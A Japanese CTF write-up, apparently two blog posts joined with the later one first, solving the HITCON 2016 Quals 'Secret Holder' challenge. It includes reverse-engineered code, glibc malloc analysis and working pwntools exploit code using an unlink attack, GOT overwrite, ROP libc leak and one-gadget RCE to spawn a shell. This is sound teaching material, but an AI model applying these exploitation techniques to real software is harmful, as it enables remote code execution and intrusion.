renew(small, p64(rop["ret"]))       # stack_check_fail() <- "function(){return};"
                                    # small_secret = rop["ret"]
renew(big, p64(addr["mygets"]))     # memset() <- mygets()
                                    # big_secret = addr["mygets"]

r.recvuntil("3. Renew secret\n")
r.send(''.join([
    '\0' * (0x10 + 8),              # (1), +8 = old $rbp
    p64(rop["pop rdi; ret"]),       # rdi = argument of puts()
    p64(got["__libc_start_main"]),  # arg
    p64(addr["puts"]),              # puts address of __libc_start_main()
    p64(addr["main"]),              # recall main()
    # p64(0x400ce3),                  # NG: need `mov rbp, rsp` because `rbp` is 0; to avoid SIGSEGV at setvbuf in set_alarm()
    ]))

ret = r.recvline()[:-1] # trim '\n'
libc_base_addr = u64(ret.ljust(8, '\0'))
libc_base_addr -= offset["__libc_start_main"]
print "libc base address = %#x" % libc_base_addr

GOT overwrite直前では先のUnlink Attackにより、small_secretsmall_secret-0x18を指していることと、paddingが8バイト必要な点が注意です。

GOT overwriteによりmemsetがgetsのような関数に化けています。 バッファはmemsetに使われていたバッファはrbp+0x10にあるので、それぶんと$rbpに置かれているsaved old rbpのぶんを加味してバッファオーバーフローさせます。 1番目のROP gadgetが$rbp+0x8にあるreturn addressを書き換える位置に来ればあとはTOP発動でinfomation leakにさせます。

あとはputsで出力された6バイトのアドレスを受け取って、__libc_start_mainのオフセットを差し引けばlibcのベースアドレスが分かります。

# ROPの最後にmain()相当の関数に戻るのではなく、mainの途中に戻るのはダメな理由は余談で話します。

シェル起動

あとはやるだけ、の一言でいいですよね。(GOT overwriteと同様にしてreturn addressを書き換え、シェルを呼ぶROPを発動しているだけです)

"""launch shell"""
r.send(''.join([
    '\0' * 0x18,
    p64(rop["pop rdi; ret"]),
    p64(libc_base_addr + offset["/bin/sh"]),
    p64(libc_base_addr + offset["system"]),
    p64(addr["exit"]),
    ])) # system("sh")

r.interactive()

解法2(One-gadget RCEでinstant win作戦)

One-gadget RCEでさくっと勝ちましょうというのが2つ目の解法の方針です。 One-gadget RCEを解説した後、GOT overwriteでOne-gadgetにジャンプする準備をして、 RCE発動という流れで解説します。

One-gadget RCE とは

Dragon Sectorの資料に書かれていることがすべてなのですが、 x86-64x86はダメ)のlibcに、 ある条件を満たしつつ、特定の箇所を実行するとexecve("/bin/sh", NULL, NULL)を実行してくれる親切なgadgetが存在します。 gadgetの探し方は/bin/shのアドレスを即値で入れてるような命令の周辺を探す方法で良いと思います。いくつか候補が出てきます(冗長なものはカットしてあります)。 ほんとにシェルを起動してくれそうなgadgetがありますね…(今回始めてこの手法を使った人の顔)

% objdump -d /usr/lib/libc-2.24.so | grep 161359 -A 8 -B 8 | grep execve -B 8
   3f3aa:   48 8b 05 ef 8a 35 00    mov    rax,QWORD PTR [rip+0x358aef]        # 397ea0 <_DYNAMIC+0x340>
   3f3b1:   48 8d 3d a1 1f 12 00    lea    rdi,[rip+0x121fa1]        # 161359 <_nl_POSIX_name+0x154>
   3f3b8:   48 8d 74 24 30          lea    rsi,[rsp+0x30]
   3f3bd:   c7 05 99 b0 35 00 00    mov    DWORD PTR [rip+0x35b099],0x0        # 39a460 <lock>
   3f3c4:   00 00 00 
   3f3c7:   c7 05 93 b0 35 00 00    mov    DWORD PTR [rip+0x35b093],0x0        # 39a464 <sa_refcntr>
   3f3ce:   00 00 00 
   3f3d1:   48 8b 10                mov    rdx,QWORD PTR [rax]
   3f3d4:   e8 97 90 07 00          call   b8470 <execve>
--
   b8a23:   49 8d 7d 10             lea    rdi,[r13+0x10]
   b8a27:   48 8d 14 c5 00 00 00    lea    rdx,[rax*8+0x0]
   b8a2e:   00 
   b8a2f:   48 83 c6 08             add    rsi,0x8
   b8a33:   e8 28 b2 fc ff          call   83c60 <memcpy@GLIBC_2.2.5>
   b8a38:   48 8d 3d 1a 89 0a 00    lea    rdi,[rip+0xa891a]        # 161359 <_nl_POSIX_name+0x154>
   b8a3f:   4c 89 e2                mov    rdx,r12
   b8a42:   4c 89 ee                mov    rsi,r13
   b8a45:   e8 26 fa ff ff          call   b8470 <execve>
--
   d67d0:   48 8d 3d 4a c4 08 00    lea    rdi,[rip+0x8c44a]        # 162c21 <__libc_version+0xd1>
   d67d7:   e8 b4 ee f5 ff          call   35690 <unsetenv>
   d67dc:   8b 7c 24 60             mov    edi,DWORD PTR [rsp+0x60]
   d67e0:   e8 fb 52 00 00          call   dbae0 <__close>
   d67e5:   48 8b 05 b4 16 2c 00    mov    rax,QWORD PTR [rip+0x2c16b4]        # 397ea0 <_DYNAMIC+0x340>
   d67ec:   48 8d 74 24 70          lea    rsi,[rsp+0x70]
   d67f1:   48 8d 3d 61 ab 08 00    lea    rdi,[rip+0x8ab61]        # 161359 <_nl_POSIX_name+0x154>
   d67f8:   48 8b 10                mov    rdx,QWORD PTR [rax]
   d67fb:   e8 70 1c fe ff          call   b8470 <execve>

execve/bin/shを起動したいのですが、引数と環境変数のポインタがNULL、つまりrsi, rdxが0であることが望ましいです。 出てきた候補がシェルを起動してくれるための条件は上から

  • [rsp+0x30][rax]が0
  • r12, r13が0
  • [rsp+0x70][rax]が0

と思われますが、One-gadgetの候補が十分少ないので、gdbで確かめながら絞り込むよりも、片っ端から試せばいいよねというのが僕の感想です。 結果を先に書くと、2、3試したらうまくいきました。

GOT Overwriteとlibcのベースアドレスのリーク

前述と同様にしてGOT Overwriteします。 はじめに、small secretのポインタをfreeのGOTに向けます。 次に、freeのGOTをputsのpltでのアドレスで上書きします。 最後に、small secretには__libc_start_mainのアドレスを入れます。 以上の操作により、wipe(small)でputs(__libc_start_main)したことになります。 (くどいですが、言い換えるとlibcの関数のアドレスをputsさせることになります)

補足)解法2(fastbinsを使わない解法※前編参照)ではhugeとsmallはメモリ上では同じアドレスになるようにmallocしてあります。 よって、hugeへの書き込みはsmallへの書き込みに相当します。

"""GOT overwrite"""
renew(huge, ''.join([               # 0x0x6020b0-0x18 (0x602098):
    '\0' * 0x10,                    # (padding)
    p64(0),                         # big_secret
    p64(small_secret),              # huge_secret
    p64(got["free"]),               # small_secret
    p32(1) * 3                      # holding_{big,huge,small}_secret
    ]))
renew(small, p64(addr["puts"]))       # puts(__libc_start_main) <- free(small)

"""leak libc base address"""
renew(huge, ''.join([
    p64(got["__libc_start_main"])
    ]))
wipe(small)

ret = r.recvline()[:-1] # trim '\n'
libc_base_addr = u64(ret.ljust(8, '\0'))
libc_base_addr -= offset["__libc_start_main"]
print "libc base address = %#x" % libc_base_addr

One-gadget RCE 発動→シェル起動

候補のOne-gadgetを片っ端から試すだけです。 注意点は一見関係が無さそうに見える_DYNAMICなんちゃらがあるアドレスを指定することです。

offset = {
    "system": 0x3f4d0,
    "/bin/sh": 0x161359,
    "__libc_start_main": 0x201a0,
    # "One-gadget": 0xb8a38, # $r12 == 0 && r13 == 0
    # "One-gadget": 0xd67ec, # *($rsp+0x70) == 0 && *$rax == 0
    "One-gadget": 0xd67e5, # *($rsp+0x70) == 0 && *$rax == 0

... snip ...

"""launch shell"""
renew(huge, ''.join([
    p64(got["puts"]), # small_secret
    p32(1) * 3,
    ]))
raw_input('Press Enter to continue: ')
renew(small, p64(libc_base_addr + offset["One-gadget"]))

r.interactive()

余談

まずUnlink Attackにより、X-0x18から始まるメモリをいじれることになります。 X-0x18はsmall_secretでは、0x6020b0-0x18=0x602098でstdoutの下になりますが、 huge_secretでは、0x6020a8-0x18=0x602090でstdoutの位置になります。 .bssセクションのstdoutを参照するコードブロックがあり、それがmain相当の関数の冒頭で呼ばれるset_alarm()なので、あとでmainの先頭に戻ることを前提にすると、stdoutを破壊してはなりません。 値を予想できないように見えるor予想するのがめんどくさいのでsmall_secretをXとしてUnlink Attackしたほうが楽というわけです(この問題良く出来てるなぁ)。

                     set_alarm:
0000000000400c81         mov        rbp, rsp
0000000000400c84         mov        rax, qword [ds:stdout]
0000000000400c8b         mov        ecx, 0x0                                    ; argument "size" for method j_setvbuf
0000000000400c90         mov        edx, 0x2                                    ; argument "type" for method j_setvbuf
0000000000400c95         mov        esi, 0x0                                    ; argument "buf" for method j_setvbuf
0000000000400c9a         mov        rdi, rax                                    ; argument "stream" for method j_setvbuf
0000000000400c9d         call       j_setvbuf
0000000000400ca2         mov        esi, 0x400c68                               ; argument "func" for method j_signal
0000000000400ca7         mov        edi, 0xe                                    ; argument "sig" for method j_signal
0000000000400cac         call       j_signal
0000000000400cb1         mov        edi, 0x3c                                   ; argument "seconds" for method j_alarm
0000000000400cb6         mov        eax, 0x0
0000000000400cbb         call       j_alarm
0000000000400cc0         pop        rbp
0000000000400cc1         ret        
                        ; endp   

ROPの最後にmain()相当の関数に戻るのではなく、mainの途中に戻るのはダメな理由

r.send(''.join([
    '\0' * (0x10 + 8),              # (1), +8 = old $rbp
    p64(rop["pop rdi; ret"]),       # rdi = argument of puts()
    p64(got["__libc_start_main"]),  # arg
    p64(addr["puts"]),              # puts address of __libc_start_main()
    p64(addr["main"]),              # recall main()
    ]))

まずは上のROPの実行対象のアセンブリを書き出してみます。 このとき、スタックオーバーフローを起こすためにmygetsなるgadgetを最初に呼んでいるのでそれも忘れずに書き出します。

# mygets
mov    edi,0x400e80
call   4006c0 <puts@plt>
mov    rax,QWORD PTR [rip+0x2016af]    
mov    edx,0x61a80
mov    rsi,rax
mov    edi,0x0
mov    eax,0x0
call   400700 <read@plt>
nop
mov    rax,QWORD PTR [rbp-0x8]
xor    rax,QWORD PTR fs:0x28
je     400a25 <exit@plt+0x2b5>
call   4006d0 <__stack_chk_fail@plt>
leave  
ret    

# popret
pop rdi
ret

# puts();
jmp    QWORD PTR [rip+0x20195a] 
push   0x1
jmp    4006a0 <free@plt-0x10>

# main()
push   rbp
mov    rbp,rsp
sub    rsp,0x20
mov    rax,QWORD PTR fs:0x28
mov    QWORD PTR [rbp-0x8],rax
xor    eax,eax
mov    eax,0x0
call   400c80 <exit@plt+0x510>
... snipped ...

今回のスタックオーバーフローは、return addressまで0をパッディングしました。 ということはsaved $rbp(old $rbp)は0に書き換わります。 で、よく見ると上のアセンブリ列には悪しきleave命令があります! leave命令の疑似命令はこうです。

IF StackAddressSize = 32
    THEN
        ESP ← EBP;
    ELSE IF StackAddressSize = 64
    THEN 
        RSP ←RBP; 
    FI;
    ELSE IF StackAddressSize = 16
    THEN 
        SP ← BP; 
    FI;
FI;

IF OperandSize = 32
    THEN 
        EBP ← Pop();
    ELSE IF OperandSize = 64
    THEN 
        RBP ← Pop(); 
    FI;
    ELSE IF OperandSize = 16
    THEN 
        BP ← Pop(); 
    FI;
FI;

困りますね。ROPを発動するとleave命令とsaved $rbpのせいで、$rbpが0になってしまいます。 この状態でmainの途中から実行してもうまくいくはずがありません。というかセグフォで実際うまくいきません。 alarmを殺すことは忘れて大人しくmain()の先頭に戻ることが今回求められます。 main()の先頭に戻るとmov rbp,rspによりrbpの値がいい感じに復元されます(幸いにも$rspはROPで破壊されていません)。

お手軽Exploitコードのデバッグ方法

今回気づいた方法です。 Exploitコードに残してありますが、

raw_input('Press Enter to continue: ')

を入れると簡易的なブレークポイントとして機能します。 つまり、その行に到達して攻撃ペイロードの送信が止まります。 あとは、次のコマンドのようにして、gdbから起動中のプロセスにアタッチするとExploitコードのデバッグが可能になります。 プロセスのアタッチにはroot権限が必要なのでお忘れなく。
# pgrepコマンド便利っすね

sudo gdb -q SecretHolder -x SecretHolder.gdb -p `pgrep SecretHolder`

pwntoolsで r.interactive() でも止められますけど、とある条件で送られるペイロードが化けるようにみえるのでおすすめできません。 socatとgdb-serverの組み合わせによるデバッグでも、なぜかペイロードが化けるのでおすすめできません(問題によって化けなかったりして厄介だな)。

完成したExploitコード

gistに上げてあります。

https://gist.github.com/K-atc/0b48c901d705ae9bdbda40085d5c87f2


くぅ〜疲れましたっ><
これにて完結です!

Secret Holderは正しくいい問題でした。 (Unsafe)Unlink AttackやROPが初めての方はぜひ解いてみてください〜
別解を見つけた方はぜひご自身のブログで公開し、友利奈緒までご一報ぐださいませ。

CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 前編

今週末はぼっちで過去問の研究をしてました。本エントリーはそれの成果報告です。 題材は、先週開催されたHITCON 2016 QualsよりSecret Holderです。 100点問題のくせに結構な手間がかかる問題ですが、良問だと思うのでみなさんに紹介します。

先にExploitの流れを図で示します。 前編はUnlink Attackまでです。

f:id:katc:20161016235657p:plain

キーワード

  • malloc(mmmap, sbrk)
    • fastbins
  • double-free
  • Use After Free (UAF)
  • Unlink Attack
  • stack smashing
    • stack canary
  • Return Oriented Programming (ROP)
  • GOT Overwrite
  • One-gadget RCE

環境・解くのに使ったもの

環境

% uname -r
4.7.6-1-ARCH
% pacman -Q glibc
glibc 2.24-2

GUI

  • Hopper

shell

  • readelf
  • objdump
  • strings
  • grep/egrep

exploit

  • python2+pwntools

debug

読者の前提

初期フェーズ

問題のバイナリはこちらから。

表層解析

x86-64バイナリで、strippedです。 static linked binaryではなさそうです。

[katc@K_atc SecretHolder]$ file SecretHolder
SecretHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped

残念ながらNXビットが有効です、シェルコードを送る問題ではなさそうです。

[katc@K_atc SecretHolder]$ ~/bin/checksec.sh/checksec --file SecretHolder
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY FORTIFIED FORTIFY-able  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes 0   2 SecretHolder

動的解析その1

一通り動かしてみると、こんな感じになります。

[katc@K_atc SecretHolder]$ ./SecretHolder
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
1
Which level of secret do you want to keep?
1. Small secret
2. Big secret
3. Huge secret
2
Tell me your secret: 
big secret
1. Keep secret
2. Wipe secret
3. Renew secret
3
Which Secret do you want to renew?
1. Small secret
2. Big secret
3. Huge secret
2
Tell me your secret: 
big big secret
1. Keep secret
2. Wipe secret
3. Renew secret
2
Which Secret do you want to wipe?
1. Small secret
2. Big secret
3. Huge secret
2
1. Keep secret
2. Wipe secret
3. Renew secret
^C

秘密を大きさ別に管理できるプログラムのようです。 機能は次のとおりです。

  • keep: small, big, huge ごとに秘密を入力する
  • wipe: 秘密1つを消す
  • renew: 秘密1つを上書きする

秘密にフラグが入っていてそれを読み出す問題もありえますが、 フラグを読み出す処理がバイナリに含まれていないのでシェルを起動する問題と判断できます。

静的解析

Hopperにバイナリを食わせ、ルーティンや変数のラベルを付けなおしてデコンパイルし、読みやすく整形すると次のコードのようになります。

char* big_secret; // 0x6020a0
char* huge_secret; // 0x6020a8
char* small_secret; // 0x6020b0

int32_t holding_big_secret; // 0x6020b8
int32_t holding_huge_secret; // 0x6020bc
int32_t holding_smalll_secret; // 0x6020c0

function wipe_secret {
    var_8 = *0x28;
    puts("Which Secret do you want to wipe?");
    puts("1. Small secret");
    puts("2. Big secret");
    puts("3. Huge secret");
    memset(var_10, 0x0, 0x4);
    read(0x0, var_10, 0x4);
    rax = atoi(var_10);
    rax = rax;
    if (rax == 0x1) {
        rax = *small_secret;
        free(rax);
        *(int32_t *)holding_smalll_secret = 0x0;
    }
    if (rax == 0x3) {
        rax = *huge_secret;
        free(rax);
        *(int32_t *)holding_huge_secret = 0x0;
    }
    if (rax == 0x2) {
        rax = *big_secret;
        free(rax);
        *(int32_t *)holding_big_secret = 0x0;
    }
    rax = var_8 ^ *0x28;
    COND = rax == 0x0;
    if (!COND) {
            rax = __stack_chk_fail();
    }
    return rax;
}

function renew_secret {
    var_8 = *0x28;
    puts("Which Secret do you want to renew?");
    puts("1. Small secret");
    puts("2. Big secret");
    puts("3. Huge secret");
    memset(var_10, 0x0, 0x4);
    read(0x0, var_10, 0x4);
    rax = atoi(var_10);
    rax = rax;
    if ((rax == 0x1) && (*(int32_t *)holding_smalll_secret != 0x0)) {
            puts("Tell me your secret: ");
            read(0x0, *small_secret, 0x28);
    }
    if ((rax == 0x3) && (*(int32_t *)holding_huge_secret != 0x0)) {
            puts("Tell me your secret: ");
            read(0x0, *huge_secret, 0x61a80);
    }
    if ((rax == 0x2) && (*(int32_t *)holding_big_secret != 0x0)) {
            puts("Tell me your secret: ");
            read(0x0, *big_secret, 0xfa0);
    }
    rax = var_8 ^ *0x28;
    COND = rax == 0x0;
    if (!COND) {
            rax = __stack_chk_fail();
    }
    return rax;
}

function keep_secret {
    var_8 = *0x28; // stack canary
    puts("Which level of secret do you want to keep?");
    puts("1. Small secret");
    puts("2. Big secret");
    puts("3. Huge secret");
    memset(var_10, 0x0, 0x4);
    read(0x0, var_10, 0x4);
    rax = atoi(var_10);
    if (rax == 0x1) {
        if (*(int32_t *)holding_smalll_secret == 0x0) {
            *small_secret = calloc(0x1, 0x28);
            *(int32_t *)holding_smalll_secret = 0x1;
            puts("Tell me your secret: ");
            read(0x0, *small_secret, 0x28);
        }
    }
    if (rax == 0x3) {
        if (*(int32_t *)holding_huge_secret == 0x0) {
            *huge_secret = calloc(0x1, 0x61a80);
            *(int32_t *)holding_huge_secret = 0x1;
            puts("Tell me your secret: ");
            read(0x0, *huge_secret, 0x61a80);
        }
    }
    if (rax == 0x2) {
        if (*(int32_t *)holding_big_secret == 0x0) {
            *big_secret = calloc(0x1, 0xfa0);
            *(int32_t *)holding_big_secret = 0x1;
            puts("Tell me your secret: ");
            read(0x0, *big_secret, 0xfa0);
        }
    }
    rax = var_8 ^ *0x28;
    COND = rax == 0x0;
    if (!COND) {
            rax = __stack_chk_fail();
    }
    return rax;
}

void alarm_handler { // 0x400c68
    puts("Timeout!");
    exit(0x1);
    return;
}


function set_alarm {
    rax = *stdout;
    setvbuf(rax, 0x0, 0x2, 0x0);
    signal(0xe, 0x400c68);
    rax = alarm(0x3c); // 60 sec
    return rax;
}


function main {
    set_alarm();
    puts("Hey! Do you have any secret?");
    puts("I can help you to hold your secrets, and no one will be able to see it :)");
    goto loc_400cf7;

loc_400cf7:
    do {
            do {
                    puts("1. Keep secret");
                    puts("2. Wipe secret");
                    puts("3. Renew secret");
                    memset(var_10, 0x0, 0x4);
                    read(0x0, var_10, 0x4);
                    rax = atoi(var_10);
                    if (rax != 0x2) {
                        break;
                    }
                    wipe_secret();
            } while (true);
            if (rax != 0x3) {
                break;
            }
            renew_secret();
    } while (true);
    if (rax == 0x1) {
            keep_secret();
    }
    goto loc_400cf7;
}

次のことが分かります。

  • 60秒のアラームが設定されており、タイムアウトするとプログラムが終了する
    • 手元で動かすときはパッチでなんとかする(→パッチ編)
  • small, big, huge のバッファのサイズはそれぞれ 0x28, 0xfa0, 0x61a80 で、hugeはsbrk()で確保されないチャンクにありそう(?)
    • そのように判断したのはhugeのallocateサイズがバカでかいから
    • チャンク2つではどうしようもないのでなんとかせねば
  • systemがpltに無いので、Exploit後半でlibcのベースアドレスのリークが必要
    • libc.soが配布されてないが、他にいい方法があるのだろうか?
  • keepではそのサイズの秘密を保持しているかどうかの変数(holdingなんちゃら)の値が0、renewではそれが1である必要がある。
  • wipeではsmall, big, hugeを自由にwipeできる上に、ポインタをNULLで上書きしない(自明なUse After Free)

また、.bssの変数は次の配置になっていることが分かります。

address name
0x602090 stdout
0x6020a0 big_secret
0x6020a8 huge_secret
0x6020b0 small_secret
0x6020b8 holding_big_secret
0x6020bc holding_huge_secret
0x6020c0 holding_small_secret

手詰まり感が出てきたので模索フェーズに入ります。

パッチ編

タイムアップを遅くするのは、こんなコードで実現できます。

BIN = "./SecretHolder"
PATCHED_BIN = BIN + ".patched"
e = ELF(BIN)
if not os.path.exists(PATCHED_BIN):
    e = ELF(BIN)
    e.asm(0x400cb1, 'mov edi,0xffffff')
    e.save(PATCHED_BIN)
    os.system("chmod +x %s" % PATCHED_BIN)
    log.info("patched binary")
    exit()

触ったアセンブリはここです。

set_alarm:
0000000000400c81         mov        rbp, rsp
0000000000400c84         mov        rax, qword [ds:stdout]
0000000000400c8b         mov        ecx, 0x0                                    ; argument "size" for method j_setvbuf
0000000000400c90         mov        edx, 0x2                                    ; argument "type" for method j_setvbuf
0000000000400c95         mov        esi, 0x0                                    ; argument "buf" for method j_setvbuf
0000000000400c9a         mov        rdi, rax                                    ; argument "stream" for method j_setvbuf
0000000000400c9d         call       j_setvbuf
0000000000400ca2         mov        esi, 0x400c68                               ; argument "func" for method j_signal
0000000000400ca7         mov        edi, 0xe                                    ; argument "sig" for method j_signal
0000000000400cac         call       j_signal
0000000000400cb1         mov        edi, 0x3c                                   ; argument "seconds" for method j_alarm
0000000000400cb6         mov        eax, 0x0
0000000000400cbb         call       j_alarm
0000000000400cc0         pop        rbp
0000000000400cc1         ret        
                        ; endp

便利gdbコマンドの準備

メモリをダンプするxコマンドを叩きまくるのはだるいです。 メモリ構造は決まっていて、それをmallocのチャンクとして把握してますから、 pritty printするスクリプトを書くと捗ります。
ついでに大域変数のアドレスを覚えるのはだるいので変数でエクスポートするのも手です。
# gdbが64ビットのアドレスをうまく扱ってくれないのなんとかならへんの?

set $big_secret = 0x6020a0
set $huge_secret = 0x6020a8
set $small_secret = 0x6020b0
set $holding_big_secret = 0x6020b8
set $holding_huge_secret = 0x6020bc
set $holding_small_secret = 0x6020c0

set $mygets = 0x4009f9

define debug

    printf "holding (small, big, huge) secret = (%d, %d, %d)\n", *$holding_small_secret, *$holding_big_secret, *$holding_huge_secret

    if *(long long*)$small_secret != 0
        printf "small_secret malloced at %#x\n", *$small_secret
        # x/4xg *$small_secret - 16
        printf "  prev_size = %#16lx\n", *(*((long long*)$small_secret) - 16)
        printf "  size      = %#16lx\n", *(*((long long*)$small_secret) - 8)
        printf "  fd        = %#16lx\n", *(*((long long*)$small_secret) + 0)
        printf "  bk        = %#16lx\n", *(*((long long*)$small_secret) + 8)
        printf "  content   = %s\n", *$small_secret
    end
    
    if *(long long*)$big_secret
        printf "big_secret malloced at %#x\n", *$big_secret
        # x/4xg *$big_secret - 16
        printf "  prev_size = %#16lx\n", *(*((long long*)$big_secret) - 16)
        printf "  size      = %#16lx\n", *(*((long long*)$big_secret) - 8)
        printf "  fd        = %#16lx\n", *(*((long long*)$big_secret) + 0)
        printf "  bk        = %#16lx\n", *(*((long long*)$big_secret) + 8)
        printf "  content   = %s\n", *($big_secret)
    end

    if *(long long*)$huge_secret 
        printf "huge_secret malloced at %#x\n", *(long long*)$huge_secret
        # x/4xg *(long long*)$huge_secret - 16
        printf "  prev_size = %#16lx\n", *(*((long long*)$huge_secret) - 16)
        printf "  size      = %#16lx\n", *(*((long long*)$huge_secret) - 8)
        printf "  fd        = %#16lx\n", *(*((long long*)$huge_secret) + 0)
        printf "  bk        = %#16lx\n", *(*((long long*)$huge_secret) + 8)
        printf "  content   = %s\n", *((long long*)$huge_secret)
    end

end

スクリプトファイルはgdb起動時に-xオプションで渡してください。

模索フェーズ

mallocの仕組みをうまく使って、hugeがsmallやbigと同じページに来るようにしたいところです。 ここで簡単な実験をしました(wandbox)。 まず次のコードを書きました。

#include <stdio.h>
#include <stdlib.h>

// 元ネタ:HITOCON 2016 Quals - Secret Holder (Pwn100)

int main() {
    void* mapped;
    puts("small malloc ");
    mapped = malloc(0x20);
    printf("allocated at %#x\n", mapped);
    free(mapped);

    // main+66
    puts("1st huge malloc ");
    mapped = malloc(0x61a80);
    printf("allocated at %#x\n", mapped);
    free(mapped); // main+119
    
    // main+129
    puts("2nd huge malloc");
    mapped = malloc(0x61a80);
    printf("allocated at %#x\n", mapped); // main+165
    free(mapped); // main+177
    
    return 0;
}

これをコンパイルし実行すると次の結果になります。

small malloc 
allocated at 0x1d9d010
1st huge malloc 
allocated at 0x5916d010
2nd huge malloc
allocated at 0x1d9d010

# allocated to な気がしてきたゾ

気づきましたか?hugeに相当するチャンクがsmallの場所に確保されました! これは使えるぞい。

もう少しこの挙動を追っていきます。 システムコールをトレースした結果が次です。

% strace ./test
execve("./test", ["./test"], [/* 54 vars */]) = 0
brk(NULL)                               = 0x203d000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=266935, ...}) = 0
mmap(NULL, 266935, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fc59d174000
close(3)                                = 0
open("/usr/lib/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\3\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1951744, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc59d172000
mmap(NULL, 3791152, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fc59cbf6000
mprotect(0x7fc59cd8b000, 2093056, PROT_NONE) = 0
mmap(0x7fc59cf8a000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x194000) = 0x7fc59cf8a000
mmap(0x7fc59cf90000, 14640, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fc59cf90000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7fc59d173400) = 0
mprotect(0x7fc59cf8a000, 16384, PROT_READ) = 0
mprotect(0x600000, 4096, PROT_READ)     = 0
mprotect(0x7fc59d1b6000, 4096, PROT_READ) = 0
munmap(0x7fc59d174000, 266935)          = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
brk(NULL)                               = 0x203d000
brk(0x205e000)                          = 0x205e000
write(1, "small malloc \n", 14small malloc 
)         = 14
write(1, "allocated at 0x203d420\n", 23allocated at 0x203d420
) = 23
write(1, "1st huge malloc \n", 171st huge malloc 
)      = 17
mmap(NULL, 401408, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc59d110000
write(1, "allocated at 0x9d110010\n", 24allocated at 0x9d110010
) = 24
munmap(0x7fc59d110000, 401408)          = 0
write(1, "2nd huge malloc\n", 162nd huge malloc
)       = 16
brk(0x20bf000)                          = 0x20bf000
write(1, "allocated at 0x203d420\n", 23allocated at 0x203d420
) = 23
exit_group(0)                           = ?
+++ exited with 0 +++

hugeの1回目のmallocではmmmap()が発行されましたが、2回目ではbrk()が使われています。

次にmmap()とsbrk()の分かれ目をお勉強します。 mallocの日本語資料はmalloc(3))のメモリ構造が秀逸だと思います。

sYSMALLOc()の動きについて簡単に説明します。ここではmain_arenaでないarenaの場合の説明については除きます。 要求サイズnbがmp_.mmap_threshold以上の場合、mmap()で領域の確保を行います。この部分の説明は別章「6. mmapped chunkの確保、解放」にて行います。nbがmp_.mmap_threshold未満の場合ヒープ領域を拡張します。次の式で拡張サイズを算出します。
nb + mp_.top_pad + MINSIZE これよりav->topのサイズを引いた(未使用領域も考慮した)サイズを拡張サイズとします。更にこのサイズをページサイズに換算します。この様にして求めたサイズでsbrk()をコールしてヒープ領域を拡張します。得られた領域をav->topに設定します。この中からnbのchunkを切り出しそのアドレスをリターンします。メモリプールがない状態でsYSMALLOc()が呼ばれた場合も同様の流れでメモリプールの生成が行われます。ただメモリプールの先頭を8バイト境界になる様に調整する所が異なります。そのアドレスがav->topとして設定されます。 public_mALLOc()に戻った後、arenaのロックを解除し得られたアドレスをコール側に戻します。

これによると、要求サイズがthresholdを超えるかどうかでmmap()が発動するかどうか決まるようです。 もしこのthresholdが固定値だったら、無事終了😇になってしまいそうです。手詰まりになってしまった根本的な原因がここにありました。

thresholdの更新に気をつけながらglibcソースコードを読解して実験での動作の裏付けします。 malloc.cを見ると、 「要求サイズnbがmp_.mmap_threshold以上の場合、mmap()で領域の確保を行います」は次のコード①、②で裏付けられます。

2272   /*
2273      If have mmap, and the request size meets the mmap threshold, and
2274      the system supports mmap, and there are few enough currently
2275      allocated mmapped regions, try to directly map this request
2276      rather than expanding top.
2277    */
2278 
2279   if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&
2280       (mp_.n_mmaps < mp_.n_mmaps_max)) ①
2281     {
2282       char *mm;           /* return value from mmap call*/
2283 
2284     try_mmap:
2285       /*
2286          Round up size to nearest page.  For mmapped chunks, the overhead
2287          is one SIZE_SZ unit larger than for normal chunks, because there
2288          is no following chunk whose prev_size field could be used.
2289 
2290          See the front_misalign handling below, for glibc there is no
2291          need for further alignments unless we have have high alignment.
2292        */
2293       if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
2294         size = (nb + SIZE_SZ + pagemask) & ~pagemask;
2295       else
2296         size = (nb + SIZE_SZ + MALLOC_ALIGN_MASK + pagemask) & ~pagemask;
2297       tried_mmap = true;
2298 
2299       /* Don't try if size wraps around 0 */
2300       if ((unsigned long) (size) > (unsigned long) (nb))
2301         {
2302           mm = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0)); ②

thresholdが更新されることは__libc_free()から分かります。 mmapで確保されたチャンクではチャンクのサイズが現在のthresholdよりも大きいときに、 mp_.mmap_threshold = chunksize (p) すなわちthresholdの更新処理が走ります。 実験のコードでは1回目のhugeのfree()のあとに更新があったため、2回目ではsbrk()が起こり、smallと同じページに確保されるようになったと考えられます。

2907 void
2908 __libc_free (void *mem)
2909 {
2910   mstate ar_ptr;
2911   mchunkptr p;                          /* chunk corresponding to mem */
2912 
2913   void (*hook) (void *, const void *)
2914     = atomic_forced_read (__free_hook);
2915   if (__builtin_expect (hook != NULL, 0))
2916     {
